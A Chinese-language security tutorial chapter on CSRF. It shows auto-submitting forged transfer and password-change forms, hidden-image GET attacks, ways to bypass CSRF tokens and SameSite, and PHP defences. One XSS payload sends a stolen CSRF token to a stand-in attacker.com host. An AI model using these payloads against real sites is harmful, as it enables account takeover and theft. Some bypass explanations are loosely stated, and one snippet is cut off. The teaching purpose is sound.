CSRF(Cross-Site Request Forgery)是Web应用安全中的另一个重要漏洞。和XSS不同,CSRF不需要在目标网站执行脚本,而是利用用户已经登录的状态,在用户不知情的情况下执行操作。

CSRF(Cross-Site Request Forgery,跨站请求伪造)是指攻击者诱导用户访问恶意网站,在用户不知情的情况下,以用户身份向目标网站发送请求,执行非预期的操作。
攻击流程:
CSRF攻击的关键是利用用户已经登录的状态。当用户访问恶意网站时,浏览器会自动发送目标网站的Cookie,让请求看起来像是用户自己发的。
必要条件:用户已经登录目标网站(有有效的Session),目标网站没有有效的CSRF防护,攻击者知道目标网站的操作接口。
假设一个转账功能没有CSRF防护:
|POST /transfer HTTP/1.1 Host: bank.com Cookie: sessionid=abc123 Content-Type: application/x-www-form-urlencoded to=attacker&amount=1000
攻击者构造恶意页面:
|<html> <body> <form id="transfer" action="https://bank.com/transfer" method="POST"> <input name="to" value="attacker"> <input name="amount" value="1000"> </form> <script>document.getElementById('transfer').submit();</script> </body> </html>
上述请求当用户访问这个页面时,会自动提交转账请求,如果用户已经登录银行网站,转账就会成功。
假设一个修改密码功能没有CSRF防护:
|POST /change_password HTTP/1.1 Host: example.com Cookie: sessionid=abc123 Content-Type: application/x-www-form-urlencoded new_password=hacked123
攻击者构造恶意页面:
|<html> <body> <form id="change" action="https://example.com/change_password" method="POST"> <input name="new_password" value="hacked123"> </form> <script>document.getElementById('change').submit();</script>
上述请求当用户访问这个页面时,密码会被修改为hacked123,攻击者就可以用新密码登录。
假设一个删除功能没有CSRF防护:
|POST /delete_item HTTP/1.1 Host: example.com Cookie: sessionid=abc123 Content-Type: application/x-www-form-urlencoded item_id=123
攻击者可以在恶意网站中嵌入:
|<img src="https://example.com/delete_item?item_id=123" style="display:none">
上述请求当用户访问恶意网站时,浏览器会自动请求这个URL,删除用户的数据。

最常见的CSRF防护方式是使用CSRF Token,服务器生成一个随机Token,在表单中嵌入Token,提交时验证Token。
正常流程:
|<form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="abc123def456"> <input name="to" value="user"> <input name="amount" value="100"> <button type=
1. Token可预测
如果Token生成方式不安全,可能可以预测:
|$token = md5($username . time());
攻击者可以知道用户名,预测时间戳,生成Token。
2. Token不验证
如果Token验证逻辑有bug,可能可以绕过:
|if ($_POST['csrf_token'] == $_SESSION['csrf_token']) { // 执行操作 }
问题:如果Token为空,可能可以绕过('' == ''为真)。
3. Token泄露
如果Token泄露,攻击者可以使用,通过XSS获取Token,通过其他漏洞获取Token,通过子域名共享Cookie获取Token。:
案例解析:
假设一个系统使用CSRF Token,但Token可以通过XSS获取:
|// XSS Payload <script> var token = document.querySelector('input[name=csrf_token]').value; var img = new Image(); img.src = 'http://attacker.com/steal?token=' + token; </script>
获取Token后,可以构造CSRF攻击:
|<form id="attack" action="https://example.com/transfer" method="POST"> <input name="csrf_token" value="[获取的Token]"> <input name="to" value="attacker"> <input name="amount" value="1000"> </form>
4. Token验证位置错误
如果Token验证在错误的位置,可能可以绕过:
|// 错误:先执行操作,再验证Token transfer_money($_POST['to'], $_POST['amount']); if ($_POST['csrf_token'] != $_SESSION['csrf_token']) { die('CSRF token error'); }
5. 双重提交Cookie
如果系统使用双重提交Cookie(Double Submit Cookie),但实现不当,可能可以绕过:
|// 设置Cookie和表单字段为相同值 document.cookie = "csrf_token=abc123"; // 表单字段也是abc123
如果攻击者可以设置Cookie(通过子域名等),可以绕过。

SameSite是Cookie的一个属性,用于防止CSRF攻击。Strict最严格,跨站请求不发送Cookie。Lax部分允许,GET请求可以跨站。None允许跨站(需要Secure)。
1. Lax策略绕过
如果设置为Lax,GET请求可以跨站,如果系统用GET执行敏感操作,可能被CSRF:
|<img src="https://example.com/delete?id=123">
2. 子域名绕过
如果攻击者控制子域名,可以设置Cookie,通过子域名绕过:
|Set-Cookie: sessionid=abc123; Domain=.example.com
所有子域名(包括攻击者控制的)都可以访问这个Cookie。
3. 时间窗口
如果SameSite设置为Lax,在用户从外部链接跳转到目标网站时,Cookie会发送。攻击者可以诱导用户点击链接,链接跳转到目标网站,在跳转后的短时间内Cookie仍然有效,利用这个时间窗口进行CSRF攻击。
案例解析:
假设一个系统设置SameSite为Lax,但有一个功能可以通过GET请求执行敏感操作:
|GET /api/delete?item_id=123
攻击者可以构造恶意链接:
|<a href="https://example.com/api/delete?item_id=123">Click here for free gift</a>
上述请求当用户点击链接时,由于是GET请求,Cookie会发送,删除操作会执行。
CSRF攻击的影响取决于被攻击的功能:
案例1:电商网站
假设一个电商网站的购物车功能没有CSRF防护:
|POST /cart/add HTTP/1.1 Cookie: sessionid=abc123 Content-Type: application/x-www-form-urlencoded product_id=999&quantity=100
上述请求当用户访问恶意网站,自动添加大量商品到购物车,如果网站有自动结算功能,可能自动扣款。
案例2:社交网站
假设一个社交网站的关注功能没有CSRF防护,攻击者可以诱导用户访问恶意网站,自动关注攻击者的账号,增加攻击者的粉丝数。
案例3:管理后台
假设一个管理后台的删除用户功能没有CSRF防护,如果管理员访问了恶意网站,可能自动删除用户,造成业务损失。
最有效的防护方式是使用CSRF Token:
|// 生成Token $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // 在表单中嵌入 echo '<input type="hidden" name="csrf_token" value="' . $_SESSION['csrf_token'] . '">'; // 验证Token if ($_POST['csrf_token'] != $_SESSION['csrf_token']) { die('CSRF token error'); }
设置Cookie的SameSite属性:
|setcookie('sessionid', $session_id, [ 'samesite' => 'Strict', 'secure' => true, 'httponly' => true ]);
检查请求的Referer:
|$referer = $_SERVER['HTTP_REFERER']; $allowed_host = 'example.com'; if (parse_url($referer, PHP_URL_HOST) != $allowed_host) { die('Invalid referer'); }
注意:Referer可能被伪造或缺失,不是完全可靠。
使用自定义Header(如X-Requested-With):
|xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
注意:如果CORS配置不当,可能可以绕过。
本节我们一起深入了解了CSRF攻击。简单来说,CSRF会“借用”用户的登录状态,在你毫无察觉的情况下,悄悄帮你在目标网站执行敏感操作。攻击者往往靠构造精心的请求,骗你点个链接或者打开个页面,你什么都没感觉,但你的账户操作已经在暗中进行了。
在防御方面,核心措施包括:使用难以预测的CSRF Token,给Cookie加上SameSite属性,合理校验Referer,自定义专属的请求Header等。每种方法都有自己的优劣,实践中一般会多重叠加防护。
要注意,CSRF Token的管理有讲究,比如Token可预测、未校验、泄露或验证位置不对,都可能被绕过。同理,SameSite策略如果设置不严、存在时间差或者子域问题,也容易被攻破。功能越重要,风控越要到位,因为一旦被滥用,后果会很严重。
最后提醒大家:CSRF攻击的危险之处在于,你的浏览器“被利用”却你全然不知,不需要执行任何脚本代码,所以不能只靠XSS思路来防御。防御CSRF的本质,是想方设法判断请求是不是“真的来自你本人”。
下一节,我们将开启文件处理漏洞的学习,一起认清更多隐藏的安全威胁。
实践建议: 测试所有需要认证的操作,检查是否有CSRF Token,尝试绕过CSRF防护,理解CSRF的实际危害,学习各种防护措施的实现。